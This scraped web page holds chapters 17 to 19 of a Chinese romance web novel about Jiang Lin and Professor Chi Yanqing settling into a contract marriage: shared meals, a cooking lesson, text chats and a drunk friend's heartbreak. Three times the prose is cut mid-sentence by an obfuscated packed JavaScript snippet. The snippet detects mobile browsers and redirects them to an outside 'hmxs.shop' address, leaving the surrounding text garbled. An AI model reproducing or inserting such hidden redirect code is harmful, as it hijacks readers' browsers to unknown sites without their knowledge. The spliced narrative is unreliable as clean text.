温佳佳捧着手:“我一片真心呢老板~” 要不说古时候的贪官都得宠呢,这么夸谁受得了,蒋凛又扔给她一包坚果。 他之前没吃过这个牌子的面包,听温佳佳这么一说,他撕开一包,直接一口咬掉半个。 眼睛一亮,居然真挺好吃的。 软乎乎的,有股奶香味儿,没有馅儿,还不糊嘴。 见温佳佳要着吃的了,店里这帮狼崽子都扑过来了,年纪不大都不爱喝酒,平时在酒吧跟着他们不爱吃饭的老板待着,嘴 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同居生活远没有想的那么不方便,蒋凛有时候甚至怀疑他没跟池砚青同居,他就是换了个房子。 原因说起来太好笑了,一个多礼拜过下去,俩人居然都没能正式见一面。 池砚青七点多就出门了,蒋凛这时候还睡着,等他起来已经快中午了。 下午蒋凛三四点出门,池砚青不加班五六点下班到家,十二点左右就睡了。 蒋凛到家最早也得凌晨一点多,晚了得三点。 虽然住在一个屋檐下,但真正做到了谁也不打扰谁,联系还得靠微信和电话。 期间赵晟和庄礼年打听过他最近怎么样,蒋凛说完,这俩缺德货乐得差点背过去。 赵晟欠登的给蒋凛发了几十条“网友.jpg”,蒋凛烦得没法,直接给他微信拉黑了。 蒋凛已经习惯了起床后家里就他自个儿,他一开始出卧室前还会整理形象,到现在已经可以一边揉眼睛一边敞着睡衣去洗漱了。 反正门外也没有人。 今天也一样,十点多起来先拉窗帘,感受着能把他眼睛烘干的阳光,晒了十几秒才带着刚睡醒的懵推开门。 昨天有点凉着了,他鼻子有点堵,就这么半耷着眼皮,一边吸鼻子一边皱眉,满脸的不痛快不好惹。 “感冒了?” 蒋凛脚步顿了一下,一偏头,池砚青靠在沙发里,手里拿着本书,正淡定地看着他。 “池老师?”蒋凛开口,声音有点哑,他也没功夫在意了,又问了句:“你今天没上班儿啊?” “今天休息,”池砚青视线稍微往下,又淡淡地收回,“好久不见?” “确实太久了,我——”蒋凛顺着他的目光瞥了眼,后边的话就说不出来了,他一边低头飞快系扣子一边往浴室走,“我……先洗漱。” 池砚青看着他的背影,笑了声,说:“看完了已经。” “靠……”蒋凛也笑了,两句话已经进了浴室关了门,隔着门说:“我一个人都惯了,你休息也不提前说一声,一大早就让我形象全无了。” 等他把自己收拾立正走出来了,池砚青才说:“明天有空么?” “有空,”蒋凛没去吃饭,坐到他侧面,“有事?” “嗯,叔叔约我吃个饭。”池砚青说。 蒋凛动作一顿,反应过来这个叔叔是谁的时候声儿都高了:“我爸?” 17.第十七章 “听他瞎说,不用去。”蒋凛眉毛都拧到一起去了。 “叔叔不是第一回跟你提了。”池砚青合上手里的书,手按在封皮上。 “前几回我就否了,”蒋凛说,“你一堆事儿忙呢,哪个不比陪老头子吃饭重要。” “我记得签婚前协议的时候,我们说过这个问题。”池砚青看向他。 确实说过,蒋凛也不犟,只说:“情况不一样。” 池砚青问他:“你不想吃?” 蒋凛说起来脸上都透着股无奈:“我宁可应酬一周,也不想跟他吃口饭。不是故意吓唬你,我爸喝点酒话太多了,比我话都多。” 池砚青失笑:“你话还多?” 蒋凛弯腰拿起水杯喝了口温水,说:“我跟你是故意收着呢,时间长了你就知道了,我这人不仅话多,嘴也够缺德的。” 这是打提前量了,前期肯定要给池砚青留个好印象,但人跟人交心,也不能总端着。蒋凛八百个心眼儿,三两句给自己“真实面目”交了个底。 池砚青认下了他的话,说:“以后有机会可以比比。” 蒋凛一下想起俩人在酒吧偶遇那天,他说过池砚青“嘴也挺毒的”。 “我当时就是随便一说,你也太记仇了,池老师。” “时间长了你就知道了,”池砚青笑了声,学他说话,“我话也挺多的。” 上回把话都说透了,现在两个人再坐一起聊天儿,之前的客气劲儿淡了不少,隔着的东西少了,那点儿若有似无的近就更明显了。 “话多不怕,我就爱跟你聊天儿,有文化,”蒋凛捡了赵晟的名言,转头说:“你真别把我爸跟我放一块比,我跟他不一样,谁跟他待着都遭罪。” 怕池砚青误会,他又补充:“现在时机也不合适,他说话没轻没重的,让人为难。” 池砚青看出他是真不想去,没再坚持:“我没把话说死,不想去就不去,我跟叔叔沟通。” “不用,”蒋凛立刻说,“我给他打个电话就行,你忙你的。” 这段时间住着,蒋凛对吃“早午饭”这件事已经轻车熟路了,下意识想拿到微波炉里热一下,一摸盘子手里温乎乎的。 “不用热,我刚做的,”池砚青从他身后走过来,帮他拉开椅子,语气里带着点玩笑,“你睡觉够踏实的,这都没醒。” 蒋凛前面就是桌子了,旁边椅子挡着,池砚青一过来,俩人之间的距离顿时近了。胳膊挨着胳膊,皮肤隔着睡衣擦过。 这太暧昧了,蒋凛下意识想拉开点距离,往后撤的时候手背在池砚青手上碰了一下,温热的触感让他恍惚了一瞬,心里乱七八糟地闪过点儿想法。 他咳了一声,坐下时手背在腿上轻轻蹭了蹭:“我睡眠质量相当好了,这些天你早上几点出门的我都不知道,睡得跟冬眠了似的。” 池砚青看了眼他放在桌子下的手,笑了声没说话,走到他对面坐下了。 蒋凛拿了双筷子:“你今天早上没吃饭?” “嗯,我起了没多久。” 蒋凛有点惊讶,笑着说:“我以为你哪天都自律呢。” 池砚青把盘子往他那边推了推:“偶尔彻底放空一天,不然脑子都用钝了。” 那这个饭局他推对了,蒋凛闭嘴安静吃饭,心里想着等会儿该怎么跟老爸说。 同居后正式一起吃的第一顿饭,蒋凛吃得老老实实的,一句话都没说。 反而是池砚青中途问过他一次合不合口味,蒋凛一个等着吃的哪那么多要求,当即说:“合,特别合。” 说完自己低头笑了声,嘴角翘上天了,也不知道是想到哪去了,反正就是合。 池砚青提醒他:“等会儿呛了。” “呛不了,我就笑了一声儿。”蒋凛回得快,主打一个老师不说我不说,老师开口我接话。 打电话之前蒋凛在心里打了个草稿,他特意回了卧室,免得让池砚青听见什么不好的。 老爸果然很生气,开头就骂:“蒋凛!你要造反啊?!” “您能不能别添乱了,”蒋凛第一句比蒋怀山还横,“我努力到这份儿上了,俩人进行好好的呢,你一个饭局给我打回原形了。” 蒋怀山让他说得愣了半天,才下意识说:“跟我打什么马虎眼呢?好好说话。” 蒋凛啧了声:“我在池老师跟前营造的形象是家庭氛围好,知进退懂体贴的人……他好不容易放回假,我肯定得让他在家休息吧?您看看您电话打的,显得我多没眼力见儿。” 蒋怀山满肚子的话堵在嗓子眼。 “您歇歇吧,这两天我定好了,我在家给池老师做饭,好好表现一回。”蒋凛撒谎脸不红心不跳,脸上忍着笑,那股不耐烦劲儿装得很是逼真。 “您别添乱了,有事给我打电话,直接打到池老师那儿像什么样子,他人好,不拒绝你,你回头让你儿子怎么做人呢。” 这回蒋怀山听懂了,他儿子这是上心了,要正式努力了。 他放心了不少,蒋凛从小到大虽然气人,但想干的事从来不让他操心,他信得着蒋凛。 尽管如此,挂电话之前蒋怀山还是说:“别三天打鱼两天晒网的,我还不知道你了!干什么都不用心,擎等着大鱼往你网里撞呢。” 蒋凛挨了批也没不高兴,习以为常地说了几句让他和老妈注意身体的话,又聊了会儿蒋朔的学业问题,才挂了电话。 池砚青已经回了书房,说是放松休息,其实还是有一堆事可以提前做出来。 蒋凛在客厅沙发上一边晒太阳一边看电视,等挂钟走过了一个钟,他起身洗了点水果,敲了敲池砚青书房的门。 “进。” 蒋凛推开门进来,池砚青从屏幕上移开视线,先看他,才低头看向他的手。 “一个多小时了,吃个水果看看远处。”池砚青办公桌上东西很多,但他摆得整齐,蒋凛找了个能放东西的地儿问他:“我放这儿了?” 池砚青点点头,拿了个雪梨,蒋凛就站在他桌子对面,没看他那些资料。 就是来“体贴一把”,蒋凛看他吃上就准备出去接着看电视了,干正事儿的时候他硬留就太烦人了。 “无聊了?”池砚青忽然问。 蒋凛腿还没抬起来呢,让他一句话给定住了,差点以为自己听错了。 反应过来有些哭笑不得:“我又不是三岁孩子,没事干还得找人哄着陪我玩儿。” 他说:“就是看你休息日还工作,觉得辛苦。这回我离得近了,我慰问一下。” “那是我想错了,”池砚青拿了张纸巾,仔细擦掉梨上的水珠,“头回有人在家给我洗水果,没什么经验。” “好说,”蒋凛说,“以后我多洗几回你就习惯了。” “看什么呢?”池砚青问他。 蒋凛说了个国外经典电视剧的名字,“看过好几遍了,就放个声,我干嘛都乐意有动静。” 池砚青说他没看过,蒋凛问他平时都看什么类型的电视剧。 “几乎不看,”池砚青说着示意他坐下,“罚站呢。” 蒋凛手搭在桌子上,问他:“不工作了?” “嗯,”池砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952232|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青面不改色,“陪你玩会儿。” 几个字说出来,蒋凛耳根子都热了,快三十的人了,让人陪着玩儿……闹呢。 他规规矩矩地在池砚青对面坐下,池砚青单手拿着梨慢慢吃,另一只手搭在桌子上,眼神稳稳罩着他。 “心理咨询似的,”蒋凛往后靠了靠,胳膊却往前伸拿了颗草莓,“还不如罚站呢,这么坐着我有点儿紧张。” “紧张什么?”池砚青姿势没变,比起工作的雷厉风行,他吃东西很慢,但越是细嚼慢咽,就越显得平静,天然带着的审视感就越强。 蒋凛一口吞了个草莓,有样学样地细嚼慢咽,咽下去才说:“感觉下一秒我就得交代我最近犯的错误了,坦白从宽。” “我没想审你,你总像受审似的。”池砚青说。 “不怪我,”蒋凛装模作样地掏出手机,“我现在给你拍下来,你自己看,你也得紧张。” 池砚青看出他的小心思,不点破,顺着说:“你拍吧,拍完我看看。” 点开相机,蒋凛还想找找角度,刚抬起来就发现,人的外形条件到位了,角度真不用特意找。 他连着拍了五六张,心满意足地想着总算有照片了,也不能哪回跟人介绍都掏结婚证,太显摆了。 他把手机递给池砚青,说:“随便拍的。” 池砚青听他这边“咔咔”了好多声,拿到照片后往后翻了翻,看见不一样的角度里他的状态都差不多——他觉得没什么可让人紧张的。 翻过第六张之后,紧跟着的不是他,而是蒋凛随手拍的一家花店。 他顿了一下,翻回自己的照片,把手机递回去。 蒋凛问他:“感觉到了吗?” “没有,”池砚青说得一本正经,“我感觉我挺和善的。” 蒋凛都让他逗笑了,边乐边说:“哪来的和善,你一个眼神过来,我都想照照镜子看我是不是仪容不整了。你在学校也这样儿?” “没,”池砚青吃完半个梨,手上沾了汁水,他抽出张湿巾擦了擦,“在学校没这么放松,事儿多。” “那我可要同情那些小孩儿了,”蒋凛拖着椅子往前挪了点,顺手从果盘里拿了个葡萄,“也不是,你在学校天天那么绷着,还是你更辛苦。” 池砚青看着他:“现在还紧张?” 蒋凛点头:“有点儿,在你面前我总紧张,多少年没有过这种感觉了。” 池砚青笑了出来,他笑起来时眉眼弧度小,眼尾稍稍压着,眼尾那颗小痣会变得更显眼,冷淡的气场也柔和了些。 “确实,你不说我也感觉到了,”他看了眼蒋凛的肩膀,尾音轻缓,“后背靠那么紧,不知道的以为我吃人呢。” 他突然说这个,蒋凛下意识回头看。肩膀确实贴着椅背,而且绷着。 虽然一直若无其事地说话,还拿了点东西吃,甚至把椅子都往前挪了——但这些都是掩饰。 “说了我是真紧张,”蒋凛摸了摸后颈,笑得有点无奈,“也不知道为什么,我上学的时候都没怕过老师,怎么毕业了突然这样了。” 他顿了一下,身体稍微往前倾,弯着眼睛说:“池老师给分析分析?” “行,”池砚青也笑,“出门左转交钱。” “靠……”蒋凛扑哧乐了,“我们这关系还用交钱啊?” 池砚青:“我们什么关系?” “我们……”蒋凛卡了一下,下一秒就反应过来,说:“同居,还结婚了的,朋友关系?” “够复杂的。”池砚青压了压唇角的笑意,但眼底还是柔软。 18.第十八章 蒋凛就是逗呢,没想真让池砚青给他做“心理咨询”,不说麻烦不麻烦,光是让他摊开了给池砚青分析,他就受不了。 哪个成年人愿意让人从头到尾地看个透,谁心里没点秘密,太羞耻了。 “还是待的时间太少,”蒋凛给自己找了个理由,“以后我多跟你待待可能就好了。” “怎么待?还罚站?”池砚青问。 蒋凛肩膀动了动,体面话在嘴里转了一圈,说出口就变成了带点撒娇的:“不行啊?” “行,”池砚青垂眼,笑了声,“罚站得劲儿你就罚站。” “池老师,你也得努力。”蒋凛轻轻敲了敲桌子。 “你紧张,我得努力?”池砚青看向他。 蒋凛厚着脸皮点头:“我想不出为什么,你肯定有办法吧?大教授?” 池砚青认真想了几秒,点头说:“是有办法。” “什么办法?” “别把我当别人。我不是你的老师,也不是家长,你在我面前犯错我也不会批评你。”池砚青说话时一直看着蒋凛的表情,见他只是轻轻抿了下嘴唇,才继续说。 “‘批评’了也没关系,你不高兴可以批评回来,再不解气还可以打一架,”见蒋凛忍不住笑了,池砚青才轻飘飘地说:“我也挺要面子的,不会跟外人抱怨,自己就消化了。” 蒋凛胳膊搭着桌沿,听得一直笑:“那我得好好考虑考虑,我不一定打得过你,打输了太丢人了。” 池砚青把梨核扔进垃圾桶:“放心,你比我小,我让着你。” 池砚青没说蒋凛把他当成谁了,也没说这个人对他到底有什么影响,说的话连正经分析都算不上。 蒋凛还是听懂了,话没说满,但该交流的东西都交换了一遍。 所以蒋凛虽然紧张,但他还是愿意跟池砚青在一起待着,他也说不清为什么,池砚青一直让他很踏实,心里有底。 他想了半天,才给自己一个模棱两可的答案——池砚青情绪很稳定,无论聊天细节怎么变,池砚青整个人的状态都是有迹可循的。 蒋凛在他这儿不用时刻谨慎着去猜,去研究,因为池砚青没跟他藏着,有什么说什么。 晚上蒋凛没去酒吧,给林葳打电话交代了两句,说他明天晚上可能也不去。 池砚青做饭,蒋凛主动问有用他帮忙的地方吗,池砚青没客气,让他淘米煮饭。 这个蒋凛会,一丝不苟地煮上了,回头又问还让他干什么。 “等着吃,”池砚青洗了手,倒了杯热水递给他,“吃完了记得说好吃。” 蒋凛捧着水让人送出来了,他回头说:“我好像添乱的孩子了。” 他没走远,就站厨房外边不碍事的地方看着:“我学学,不影响你吧?” 池砚青没让他走,听他说要学,直接把他叫回了厨房里面,问他想学什么。 他这么正儿八经地问,蒋凛有些意外,犹豫了一下说炒菜。 “我炒东西肯定糊,难吃得没法形容,后来干脆不开火了,能外卖就外卖。”蒋凛说得挺无奈。 池砚青问:“看教程炒的?” “没有,”蒋凛随口说,“我妈教过我两回,我可能有地方记错了。” 池砚青让他试试:“菜备好了,调料就这些,不会的问我。” 蒋凛人都站在不粘锅前面了,还是忍不住说:“真让我试?炒糊了就太浪费了。” “糊不了,”池砚青说,“我看着呢。” 蒋凛按部就班地开火,倒油,放肉……动作有模有样的,锅里的东西就没那么好看了,眼见着要糊。 池砚青在他旁边站着,适时伸手帮他调整:“火大了,添点水。” 蒋凛照做,池砚青提醒他不用一直翻炒,蒋凛立刻抬起锅铲,但紧跟着就说:“我觉得要糊了呢。” “不能糊,再翻碎了。”池砚青说。 放调料的时候池砚青告诉他一个放多少,蒋凛都听了,出锅前忽然问:“用不用再放点儿盐?感觉淡了呢。” 说着手已经抓住盐盒了,池砚青说不用,拿住盐盒往另一侧放了放:“先尝,再放。” 蒋凛拿筷子夹出来一块,尝了尝,转头看向他的时候绷不住乐了:“是不是咸了?感觉刚才是按你说的放了呢。我手抖了?” “不咸,还得吃饭呢。”池砚青说。 蒋凛恍然,把菜倒出来,信心满满地说:“挺简单的,我学会了,等会儿还做什么?我做。” 池砚青没拦着,也没走远,还在旁边看着他炒。 他发现蒋凛不是对厨房一窍不通,他就是有些步骤完全不知道,跳过去就遭了那种。也不知道教他的人是怎么教的。 这些事池砚青告诉一遍他就记住了,下回也不犯了——除了灵机一动这点。 “真不用再放点番茄酱?我感觉放了能好吃呢。”蒋凛偏头看池砚青,还有点自知之明,知道先问。 “可以试试,”池砚青没打压他爱创造发明的心,点头说:“放吧。” 今天因为要给蒋凛“上辅导班”,晚饭时间往后推了一小时。 那道放了番茄酱的菜,从头到尾俩人就一人吃过一筷子,之后再没人碰了。 饭后蒋凛主动洗碗,还在那儿复盘呢,说:“我可能是放多了。” 池砚青在他身后泡茶,闻言道:“就不应该放。” 蒋凛心想着下回少放点试试,明面上夸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952233|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着说:“我之前学了好几回都没学会呢,池老师你太会教人了。等过几天我得上我姑家一趟,我高低露一手。” “露吧,别说是我教的就行。”池砚青说。 “哪能呢哈哈哈。”蒋凛头回做顿像样的菜,兴奋着呢,自信得没边儿了。 难得有个假期,蒋凛以为池砚青会早睡,担心打扰他,蒋凛九点多就打算洗漱睡觉了。 等他洗完澡湿着头发出来,正好十点,书房灯还亮着。 他边擦头发边等,过了有十几分钟,还是过去敲了敲门。 进去后看见池砚青桌子上的文件换了一批。 “准备睡了?”池砚青看向他。 “嗯,马上,”蒋凛没多说,“你也早点睡,好不容易休息一天。” “惯了,”池砚青又敲了几个字,合上电脑,“你先睡,我抽根烟就休息了。” 他说抽烟,蒋凛才想起来池砚青是抽烟的,按常理抽烟的人家里都有挺明显的迹象——烟灰缸,烟盒,打火机,有的爱在家里抽烟的屋里还会有烟味。 但池砚青家跟蒋凛家差不多,没有一点烟味。至于烟盒什么的,蒋凛住这么久都没看见过。 心里想了这么多,蒋凛问的就只有一句:“你抽什么牌子的?” 池砚青从抽屉里拿出一盒没开封的,直接扔了过来。 蒋凛顺手接住,薄薄的烟盒,轻得好像没拿东西。 细支女士薄荷烟,印象中味道淡,抽起来没什么劲儿,在老烟鬼眼里大概是白开水级别的。 蒋凛没拆开,晃了晃手里的烟盒,问:“池老师,这盒送我吧。” 都扔给他了,池砚青也不可能再要回来,闻言笑了声:“多余问。” 话说完了,蒋凛拿着烟要走,池砚青在他身后说:“吹干头发再睡。” 蒋凛懒得要命,闻言叹了口气:“我下回就该隔着门跟你说话。” 池砚青:“下回隔着门我也知道你没吹了。” 抱怨归抱怨,蒋凛还是老老实实地把头发吹干了,准备回卧室的时候池砚青才从书房出来。 两个人互相说了晚安,各自回了房间。 这一天过得太充实了,蒋凛躺下,整个人陷进床里。闭上眼睛,感觉人和床一起慢悠悠地转着。 困了,但还睡不着。 他在脑海里想了一遍从早到晚发生的那些事,最后翻了个身,嘴角轻轻翘着。 确实有什么不一样了,现在他跟池砚青,太近了。 蒋凛算得挺好,就这么稳稳当当地往前推,三十来岁了,早就不兴年轻时候横冲直撞,为爱痴狂那一套了,他们这个年纪讲究细水长流,日久见人心。 急不得。 19.第十九章 第二天池砚青在书房待了一天,蒋凛进去过两趟,一次是送水果,一次是送茶。 池砚青问他是不是没意思了,蒋凛赶紧摆手:“你忙你的吧,昨天我都够耽误事儿的了。” “看着忙,手里没什么正事,”池砚青低头喝了口水,语气里的厌烦藏不住,“这些破材料我也懒得写。” 蒋凛笑了,这样的池砚青反而有点像不爱写作业的小孩,看着有意思。 他问是不是行政那边的事儿,池砚青说是,末了又说:“没一点儿用。” 看池砚青让工作烦得不行,蒋凛就留下来陪他聊了会儿天。 俩人也没什么大事要说,蒋凛拣着自家兄弟那些糗事说了几个,重点关照了赵晟。 池砚青让他逗笑了,蒋凛才说:“给我保密啊,别跟他提,晟儿看着跟个二百五似的,其实一身虎劲儿,有脾气。” 池砚青根本没机会泄密,哪说得上保密,但他还是说:“嗯,保密。” “同居”了两天,池砚青就又忙起来了,蒋凛也得天天去酒吧看着,俩人又变成了“网友”。 但这两天待下来,再在微信上说话,就又有点不一样的感觉了。 还是回回蒋凛起头,但这回他想收尾的时候,池砚青就不那么容易放他了。 一个晚上堵车的小事儿,能唠到酒吧新品卖的好不好,最后话题落到池砚青明天去不去学校。 俩人手里都有正事要干,说句话都是见缝插针的,拖拖拉拉地能聊一个多小时才结束。 说不上来的腻歪。 这天中午,池砚青办公室多了个不速之客。 “哎!我跟你说话呢,你老看什么手机啊,我没记着你有网瘾呢。”郑贺澜岔开腿坐在办公椅上,手指铛铛敲了两下扶手,“去不去?” 池砚青刚吃完午饭,手机那头蒋凛发消息说困得要昏迷了,他上午有事要谈,今天就睡了三个多小时,现在头疼,但是睡不着。 【别喝茶,喝点温水】 发完消息,池砚青才抬头看向对面的人:“你刚刚说什么?” “我说两遍了,”郑贺澜无语,他抹了把脸说第三遍,“我跟苏闻约了朋友在他家小聚,你晚上去不去?” 池砚青收回视线,看着屏幕上的字,淡淡地说:“不去。” 郑贺澜扒着桌子往他那边看:“我真服了,你看我一眼再说行不行。” “看着你说也是不去。”池砚青边说边打了几个字发过去。 【不用硬睡,戴个眼罩,闭眼躺着休息】 “你现在这么忙吗?你不是不在午休时间处理工作吗?到底说啥呢让我看看。”郑贺澜说着站起来,伸长脖子就想看。 池砚青按灭屏幕,把手机放到一边:“说完了就出去。” 郑贺澜切了声,眼神动了动,试探说:“你是真没心情,还是给你那个‘假装爱人’的人守身如玉呢?” 他提了蒋凛,池砚青才正眼看他,说出口的话也是扎人心窝子。 “你没事干了就出去,把学校路上的落叶扫了。” “跟你聊天还真不如出去扫大街呢,”郑贺澜往后又坐回椅子上,“那什么,我这次是带着任务来的。” 池砚青懒得跟他拐弯抹角,直接问:“宋曳?” “你是这个,”郑贺澜冲他竖了竖大拇指,啧了声,掏出根烟咬着,“他让我问个准信儿,你跟蒋凛,你俩是真……” “出去抽,”池砚青说,“是不是,跟他没关系,跟你也没关系。” 多少年的朋友了,一句话郑贺澜就明白了。 宋曳在池砚青眼里就是个陌生人,他没理由跟一个陌生人解释自己的感情状况——至于郑贺澜自己,他默默忽视了后半句。 “今天去的人里也有他,你要不想去我直接把局儿散了,多尴尬啊,”郑贺澜说,“赶明儿我跟老苏单独请蒋凛吃个饭,正儿八经的,也算是认识了。” 这句话池砚青没怼他。 郑贺澜这回明白得不能再明白了。 临了,非得再犯个贱,站门口苦口婆心地说:“砚青,咱俩二十来年的关系了,我必须给你个建议,不然我心不安。” 池砚青让他赶紧说,不够烦的。 “你跟人家蒋凛可别这样,太吓人了你,说话跟杀人似的,张嘴就是刀。”郑贺澜摇摇头,“我看蒋凛这人行,是场面人,站你旁边也不怯场,我跟老苏都支持你。” “一堆废话。”池砚青翻开笔记本,半个眼神都不想给他。 “不识好人心呢。”郑贺澜啧啧。 等人走了,池砚青才又打开手机,蒋凛给他回了消息。 【我眼罩不知道放哪了,搬家时候忘拿了可能】 【我先躺着了】 【得躺一会儿,晚上还得去店里】 池砚青回了个【嗯】。 晚上下班,回家经过商店,池砚青停车下去买了点日用品,问了售货员眼罩的位置后,拍照片问蒋凛平时戴的是哪种。 蒋凛没立刻回复,可能是忙,他拨了电话过去。 “池老师?”蒋凛那边音乐声挺大的,他好像在往外走,声儿慢慢小了,才说:“我出来了,你说。” “看微信。”池砚青说。 过了会儿,蒋凛说:“之前用的是第一个那种的,第二个勒后脑勺。” 池砚青说知道了,问他对样式有要求么,蒋凛说没有,浅色就行。 池砚青拿了两个浅色的,随口问他:“现在忙么?” “忙是不忙,”外边风大,蒋凛吸了吸鼻子,“庄礼年带着赵晟过来了,赵晟喝得人事不省,正闹呢,等会儿得给他整回去。” 池砚青往收银台走:“晚上几点回?” 蒋凛说得两点多才能回。 你一句我一句,聊到池砚青上车才挂了电话。 池砚青到家,先换衣服,洗手,再把眼罩洗了,晾好。 今天没加班,他没休息就去厨房做饭。 做好先分出一半盖着保鲜膜,另一半端出去他自己吃。 家里多了个人,生活的变化没有想象中大,无非是多做一个人的饭,取而代之的是碗不用自己洗了。 其余时间……基本见不着。 工作都做完,已经夜深了,池砚青照常拿出支烟,开了窗站在阳台抽。 他知道蒋凛抽烟,也知道蒋凛没在他家抽过烟。 有烟瘾大概也得等到出了门,离开小区再抽。看着很放肆的人,在某些方面的坚持却很重,好像有一页规则书在要求他。 相处这段时间,有些事情池砚青只要稍微用心想想就能猜透了,行为、心理、创伤、童年、成人后……一根根线交错着,拼凑成一个复杂的人。 但他没用探究的眼神看过蒋凛。 这是个太“懂事儿”也太敏感的人了,社交上不是容忍度高不知道难受,而是更擅长为了大局压下自己的感受。 完成目的放在个人感受前面的人,说不上好不好,都是成年人的选择。 他能轻易把蒋凛的心里话全刺出来,但这样的做法池砚青不喜欢,蒋凛想说他可以听。 不想说他也无所谓。 过去的经历再重,也没理由替现在的蒋凛说话。 酒吧里,蒋凛吃完带来的几个小面包,低头给庄礼年回了条语音:“你不回去行吗?你媳妇自个儿带孩子,她明天还能上班吗?” 庄礼年那头全是赵晟的哭嚎,噪音大得他得喊:“操!我现在前脚出门后脚个傻逼就得给自己吊死。” 他转头跟赵晟说:“你就偷着乐吧,也就是你们小区房子隔音好,不然这会儿楼下都能给你剁碎了。” “我心现在都碎了,特别碎……”赵晟哭得有点抽抽,自言自语:“可碎了,老他妈……碎了……” “我等会儿关门就过去,”蒋凛边说边招呼苏愈心和温佳佳让她俩准备关店,“你没喝酒吧?开我车回家。” “喝了!”庄礼年都气笑了,“非得跟我喝,不喝不是兄弟,不想活了。” 蒋凛也没招了,赵晟家小区特别偏,相当不好打车。 当时买房子的时候蒋凛和庄礼年就劝过他,说这鸟不拉屎的地方谁买谁是狗。 赵晟的脑回路他俩研究十来年也没研究明白,哭天抢地非说看上了,就这么一边汪汪汪一边交钱订了房。 “别操心我了,我媳妇儿刚打电话了,她明天请假。”庄礼年说。 “当初你俩谈上我就说你是祖坟冒青烟了,”蒋凛笑他,“关祺是真惯你。” “你羡慕你也找人惯你一回,”庄礼年怼他,“一群人倒追你你不干,非得转头给人大教授当舔狗去,要我说你指定是有什么特殊爱好。” “你懂个什么玩意儿,”蒋凛不跟他犟,“我等会儿出门了,要买什么提前发消息。” 蒋凛刚上车,庄礼年的消息就发过来了。 乱七八糟的,也没列个一二三四,不同种类也不知道隔一行写,全写一起去了。该写逗号的地方用空格,该标注牌子的东西就写了个纸巾。 他上哪知道赵晟平时用什么纸。 也是,糙老爷们一个,赵晟自个儿估计都不知道哪个牌子的纸软乎,买张砂纸两眼一闭也能凑合用。 跟池砚青发消息时间长了,蒋凛太看不得这些磨磨唧唧的清单了,在脑袋里翻译一遍,挑刺挑了半天,才回了个ok。 都忘了自己前段时间买东西也都是随便拿的,半点不讲究。 下车前,蒋凛给池砚青发消息说自己今晚上不回去了。 揣起手机的时候他顿了两秒,不回家得告诉一声,这太像报备了,这么一想蒋凛心里都美了。 蒋凛输了密码进门,就听见赵晟哭唧唧地说:“哥哥啊,我失恋了,我心都碎了……” “别往自个儿脸上贴金了,”庄礼年数落他,“恋上了吗就失恋。” 蒋凛拎着东西,费劲巴拉地换了鞋走进去,看赵晟坐地毯上,周围一堆易拉罐和酒瓶子,庄礼年在沙发上瘫着,看见他踢了踢赵晟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952234|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说:“你凛哥来了,睁开眼看看这张春风得意的脸,这他妈叫恋爱还差不多。” “可别替我半场开香槟,”蒋凛端得住,“八字没一撇呢。” 看这样也不能再让他喝了,蒋凛把酒放旁边,跟庄礼年一左一右开劝,比起庄礼年奔着给人说死的风格,蒋凛这张嘴就沾点阴阳怪气了,一个快刀,一个慢毒。 反正左右都不给人留活路,赵晟能从高中茁壮成长到现在,全靠缺心眼儿,听不懂好赖话。 赵晟抓着蒋凛裤腿说:“凛哥,让你的大教授,嗝……帮我说说吧,我还想……争取一下。” 蒋凛无奈了:“人家都明着说不行了,池老师是教授,也不是法师,怎么实现你的心愿。” 赵晟醉得口齿不清,哼唧哼唧地说:“就说……就说那个,反正她跟你的大教授认识,关系好……你是她兄弟媳妇儿,她肯定得给你面子。” “神他妈兄弟媳妇儿,”蒋凛正要喝口水,让他雷得外焦里嫩,“个傻逼。” “你赶紧跟他定了吧,”赵晟很坚持,“就当是为了我,你俩生米煮成熟饭吧!” “操,你赶紧再喝两瓶昏过去吧。”蒋凛说。 庄礼年在旁边都快笑抽了,俩人靠红牛撑着,陪赵晟唠到天都见亮了,赵晟才累得睡着了。 蒋凛给人抬到床上去,庄礼年给他衣服都扒了扔洗衣机里,被子往身上随便一盖。 蒋凛再糙也受不了醉酒不洗澡就躺下,没眼看地说:“连被带床垫子都不用要了。” “自作自受,”庄礼年嘴里还咬着烟,从要孩子开始就戒了,但嘴老馋,天天咬着不点,“早几年跟我似的稳定下来,处个对象,到岁数了结个婚,至于等着咱俩伺候吗。” 蒋凛把枕头垫高了点:“再努努力能给伺候走了。” 屋里全是酒味儿,蒋凛把客厅扔给庄礼年,自个儿去客卧躺下了。 一天两宿,就睡了仨小时,现在他脑子里已经没画面了,彻底木了。 想睡也睡不着,他干脆打开手机挑了个电影放着。 